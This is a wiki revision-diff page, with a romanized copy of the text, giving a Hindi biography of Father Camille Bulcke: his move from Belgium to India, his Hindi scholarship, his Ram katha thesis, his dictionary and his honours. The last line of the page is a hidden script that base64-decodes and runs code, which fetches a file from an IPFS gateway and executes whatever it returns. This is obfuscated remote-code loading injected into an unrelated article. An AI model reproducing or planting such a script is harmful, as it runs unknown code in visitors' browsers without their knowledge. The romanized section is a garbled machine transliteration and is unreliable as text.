Difference between revisions of "कामिल बुल्के"
| [unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "अविभावक" to "अभिभावक") |
गोविन्द राम (talk | contribs) |
||
| Line 32: | Line 32: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
| − | '''फ़ादर कामिल बुल्के''' ([[अंग्रेज़ी]]:''Camille Bulcke'' जन्म: [[1 सितम्बर]] [[1909]] - मृत्यु: [[17 अगस्त]] [[1982]]) बेल्जियम से [[भारत]] आकर मृत्युपर्यंत [[हिंदी]], [[तुलसीदास]] और [[वाल्मीकि]] के भक्त रहे। उन्हें साहित्य एवं शिक्षा के क्षेत्र में [[भारत सरकार]] द्वारा | + | '''फ़ादर कामिल बुल्के''' ([[अंग्रेज़ी]]:''Camille Bulcke'' जन्म: [[1 सितम्बर]] [[1909]] - मृत्यु: [[17 अगस्त]] [[1982]]) बेल्जियम से [[भारत]] आकर मृत्युपर्यंत [[हिंदी]], [[तुलसीदास]] और [[वाल्मीकि]] के भक्त रहे। उन्हें साहित्य एवं शिक्षा के क्षेत्र में [[भारत सरकार]] द्वारा सन् [[1974]] में [[पद्म भूषण]] से सम्मानित किया गया था। फ़ादर कामिल बुल्के का जन्म [[1 सितम्बर]] [[1909]] को बेल्जियम की फ्लैंडर्स स्टेट के 'रम्सकपैले' गांव में हुआ था। 'यूवेन विश्वविद्यालय' से अभियांत्रिकी की शिक्षा समाप्त करने के बाद वह [[1935]] में [[भारत]] आए। सबसे पहले उन्होंने भारत का भ्रमण किया और भारत को अच्छी प्रकार से समझा। कुछ समय के लिए वह [[दार्जिलिंग]] में भी रहे और उसके बाद [[राँची]] और उसके बाद [[झारखंड]] के [[गुमला ज़िला|गुमला ज़िले]] के 'इग्नासियस विद्यालय' में गणित विषय का अध्यापन करने लगे। यहीं पर उन्होंने भारतीय भाषाएँ सीखनी प्रारम्भ कीं और उनके मन में [[हिन्दी भाषा]] सीखने की ललक पैदा हो गई, जिसके लिए वह बाद में प्रसिद्ध हुए। उन्होंने लिखा है- |
| − | <blockquote>'मैं जब 1935 में भारत आया तो अचंभित और | + | <blockquote>'मैं जब 1935 में भारत आया तो अचंभित और दु:खी हुआ। मैंने महसूस किया कि यहाँ पर बहुत से पढ़े-लिखे लोग भी अपनी सांस्कृतिक परंपराओं के प्रति जागरूक नहीं हैं। यह भी देखा कि लोग अँगरेजी बोलकर गर्व का अनुभव करते हैं। तब मैंने निश्चय किया कि आम लोगों की इस भाषा में महारत हासिल करूँगा।'</blockquote> |
==हिन्दी का ज्ञान== | ==हिन्दी का ज्ञान== | ||
बुल्के ने पंडित बदरीदत्त शास्त्री से [[हिन्दी]] और [[संस्कृत]] की शिक्षा प्राप्त की और [[1940]] में 'विशारद' की परीक्षा 'हिन्दी साहित्य सम्मेलन', [[प्रयाग]] से उत्तीर्ण की। उन्होंने [[कलकत्ता विश्वविद्यालय]] से संस्कृत में मास्टर्स डिग्री हासिल की([[1942]]-[[1944]])। कामिल बुल्के ने [[1945]]-[[1949]] में [[इलाहाबाद विश्वविद्यालय]], [[इलाहाबाद]] से 'हिन्दी साहित्य' में शोध किया, उनका शोध विषय था 'राम कथा का विकास'। [[1949]] में ही वह 'सेंट जेवियर्स कॉलेज' राँची में हिन्दी व संस्कृत विभाग के विभागाध्यक्ष नियुक्त किए गए। सन् [[1951]] में उन्होंने भारत की नागरिकता ग्रहण की। | बुल्के ने पंडित बदरीदत्त शास्त्री से [[हिन्दी]] और [[संस्कृत]] की शिक्षा प्राप्त की और [[1940]] में 'विशारद' की परीक्षा 'हिन्दी साहित्य सम्मेलन', [[प्रयाग]] से उत्तीर्ण की। उन्होंने [[कलकत्ता विश्वविद्यालय]] से संस्कृत में मास्टर्स डिग्री हासिल की([[1942]]-[[1944]])। कामिल बुल्के ने [[1945]]-[[1949]] में [[इलाहाबाद विश्वविद्यालय]], [[इलाहाबाद]] से 'हिन्दी साहित्य' में शोध किया, उनका शोध विषय था 'राम कथा का विकास'। [[1949]] में ही वह 'सेंट जेवियर्स कॉलेज' राँची में हिन्दी व संस्कृत विभाग के विभागाध्यक्ष नियुक्त किए गए। सन् [[1951]] में उन्होंने भारत की नागरिकता ग्रहण की। | ||
| Line 48: | Line 48: | ||
[[भारत सरकार]] ने हिन्दी में उनके योगदान को देखते हुए [[1974]] में उन्हें [[पद्म भूषण]] से सम्मानित किया। सन् [[1973]] में उन्हें बेल्जियम की 'रॉयल अकादमी' का सदस्य बनाया गया। | [[भारत सरकार]] ने हिन्दी में उनके योगदान को देखते हुए [[1974]] में उन्हें [[पद्म भूषण]] से सम्मानित किया। सन् [[1973]] में उन्हें बेल्जियम की 'रॉयल अकादमी' का सदस्य बनाया गया। | ||
==रचनाएँ== | ==रचनाएँ== | ||
| − | बुल्के ने [[ | + | बुल्के ने [[बाइबिल]] का हिन्दी [[अनुवाद]] भी किया। मॉरिस मेटरलिंक के प्रसिद्ध नाटक 'द ब्लू बर्ड' का नील पंछी नाम से बुल्के ने अनुवाद किया। उनकी छोटी-बड़ी कुल मिलाकर उन्होंने क़रीब 29 किताबें लिखीं। उनकी प्रमुख कृतियाँ हैं - |
#रामकथा : उत्पत्ति और विकास | #रामकथा : उत्पत्ति और विकास | ||
#अंग्रेजी-हिन्दी शब्दकोश | #अंग्रेजी-हिन्दी शब्दकोश | ||
Revision as of 09:01, 17 August 2015
kamil bulke
| |
| poora nam | fadar kamil bulke |
| janm | 1 sitambar 1909 |
| janm bhoomi | beljiyam |
| mrityu | 17 agast 1982 |
| mrityu sthan | dilli |
| mukhy rachanaean | ramakatha : utpatti aur vikas, aangreji-hindi shabdakosh, muktidata, naya vidhan, hindi-aangreji laghukosh, baibil (hindi anuvad) |
| vidyalay | kalakatta vishvavidyalay, ilahabad vishvavidyalay, yooven vishvavidyalay, yoorop |
| shiksha | ianjiniyariang, em. e., bi.e. |
| puraskar-upadhi | padm bhooshan |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
fadar kamil bulke (aangrezi:Camille Bulcke janm: 1 sitambar 1909 - mrityu: 17 agast 1982) beljiyam se bharat akar mrityuparyant hiandi, tulasidas aur valmiki ke bhakt rahe. unhean sahity evan shiksha ke kshetr mean bharat sarakar dvara sanh 1974 mean padm bhooshan se sammanit kiya gaya tha. fadar kamil bulke ka janm 1 sitambar 1909 ko beljiyam ki phlaiandars stet ke 'ramsakapaile' gaanv mean hua tha. 'yooven vishvavidyalay' se abhiyaantriki ki shiksha samapt karane ke bad vah 1935 mean bharat ae. sabase pahale unhoanne bharat ka bhraman kiya aur bharat ko achchhi prakar se samajha. kuchh samay ke lie vah darjiliang mean bhi rahe aur usake bad raanchi aur usake bad jharakhand ke gumala zile ke 'ignasiyas vidyalay' mean ganit vishay ka adhyapan karane lage. yahian par unhoanne bharatiy bhashaean sikhani prarambh kian aur unake man mean hindi bhasha sikhane ki lalak paida ho gee, jisake lie vah bad mean prasiddh hue. unhoanne likha hai-
'maian jab 1935 mean bharat aya to achanbhit aur du:khi hua. maianne mahasoos kiya ki yahaan par bahut se padhe-likhe log bhi apani saanskritik paranparaoan ke prati jagarook nahian haian. yah bhi dekha ki log aangareji bolakar garv ka anubhav karate haian. tab maianne nishchay kiya ki am logoan ki is bhasha mean maharat hasil karooanga.'
hindi ka jnan
bulke ne pandit badaridatt shastri se hindi aur sanskrit ki shiksha prapt ki aur 1940 mean 'visharad' ki pariksha 'hindi sahity sammelan', prayag se uttirn ki. unhoanne kalakatta vishvavidyalay se sanskrit mean mastars digri hasil ki(1942-1944). kamil bulke ne 1945-1949 mean ilahabad vishvavidyalay, ilahabad se 'hindi sahity' mean shodh kiya, unaka shodh vishay tha 'ram katha ka vikas'. 1949 mean hi vah 'seant jeviyars k aaulej' raanchi mean hindi v sanskrit vibhag ke vibhagadhyaksh niyukt kie ge. sanh 1951 mean unhoanne bharat ki nagarikata grahan ki. kamil bulke sanh 1950 mean 'bihar rashtrabhasha parishadh' ki karyakarini ke sadasy chune ge. vah sanh 1972 se 1977 tak bharat sarakar ki 'kendriy hindi samiti' ke sadasy rahe.
kamil bulke aur ramacharit manas
dharmik granthoan ka adhyayan ke lie bulke ke pas darshan ka jnan tha. vah bharatiy darshan aur sahity ka vyavasthit roop se adhyayan karana chahate the. unhoanne tulasidas ke granth ramacharit manas ko padha. vah ramacharit manas se vah bahut prabhavit hue aur unhoanne ramacharit manas ka gahan adhyayan kiya. ramacharit manas mean unhean naitikata aur vyavaharikata ka akarshak samanvay mila. at: unhoanne apane shodh ka vishay 'ramakatha: utpatti aur vikas' chuna. is vishay par unhoanne ilahabad vishvavidyalay se 'd aauktaret' ki upadhi prapt ki. unaka yah kary bharat ke sath hi vishv mean prakashit hua aur isake bad poora vishv bulke ko janane laga.
- upalabdhi
bulke ke dvara prastut shodh ki visheshata thi ki yah moolatah hindi mean prastut kiya gaya pahala shodh prabandh hai. fadar bulke jis samay ilahabad mean shodh kar rahe the, us samay sabhi vishayoan mean shodh prabandh keval aangrezi bhasha mean hi prastut kie jate the. fadar bulke ne agrah kiya ki unhean hindi mean shodh prabandh prastut karane ki anumati di jae. isake lie shodh sanbandhi niyamavali mean parivartan kiya gaya.
- bhasha jnan
bulke bahu-bhashavidh the. vah apani matribhasha 'phlemish' ke atirikt aangareji, phreanch, jarman, laitin, grik, sanskrit aur hindi par bhi sanpoorn adhikar rakhate the.
bharat ki nagarikata
1951 mean bharat sarakar ne fadar bulke ko b de hi adar ke sath bharat ki nagarikata pradan ki. vah hindi ko rashtrabhasha ke roop mean pracharit karane vali samiti ke sadasy bane. bharat ke nagarik banane ke bad vah svayan ko 'bihari' kahakar bulate the.
samman
bharat sarakar ne hindi mean unake yogadan ko dekhate hue 1974 mean unhean padm bhooshan se sammanit kiya. sanh 1973 mean unhean beljiyam ki 'r aauyal akadami' ka sadasy banaya gaya.
rachanaean
bulke ne baibil ka hindi anuvad bhi kiya. m aauris metaraliank ke prasiddh natak 'd bloo bard' ka nil panchhi nam se bulke ne anuvad kiya. unaki chhoti-b di kul milakar unhoanne qarib 29 kitabean likhian. unaki pramukh kritiyaan haian -
- ramakatha : utpatti aur vikas
- aangreji-hindi shabdakosh
- muktidata
- naya vidhan
- hindi-aangreji laghukosh
- nilapakshi
- baibil (hindi anuvad)
- unake dvara taiyar kiya 'aangreji-hindi shabdakosh' aj bhi pramanikata aur upayogita ki drishti se sarvashreshth mana jata hai.
- hindi-aangareji shabdakosh
bulke ajivan hindi ki seva mean lage rahe. hindi-aangareji shabdakosh ke nirman ke lie ve satat prayatnashil rahe. varsh 1968 mean aangreji hindi kosh prakashit hua jo aj bhi sabase pramanik shabdakosh mana jata hai. unhoanne isamean 40 hazar shabd jo de aur ise ajivan adyatan bhi karate rahe.
kathan
fadar bulke ne kaha -
'1938 mean maianne hindi ke adhyayan ke dauran ramacharit manas tatha vinay patrika ka parishilan kiya. is adhyayan ke dauran ramacharit manas ki ye panktiyaan padhakar atyant aannad ka anubhav hua-
dhany janamu jagatital tasoo.
pitahi pramod charit suni jasoo॥
chari padarath karatal take.
priy pitu-matu pran sam jake.
dilli vishvavidyalay mean hindi vibhag ke poorv adhyaksh profesar nityanand tivari kahate haian-
'fadar kamil bulke aur maianne ilahabad vishvavidyalay mean hindi ke pradhyapak d aauktar mata prasad gupt ke nirdeshan mean apana shodh kary poora kiya tha. maianne unamean hindi ke prati hindi valoan se kahian zyada gahara prem dekha. aisa prem jo bharatiy j doan se ju d kar hi sanbhav hai. unhoanne ramakatha aur ramacharit manas ko bauddhik jivan diya.'
nidhan
fadar kamil bulke ki mrityu gaiangrin ke karan 17 agast 1982 ko dilli mean huee.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>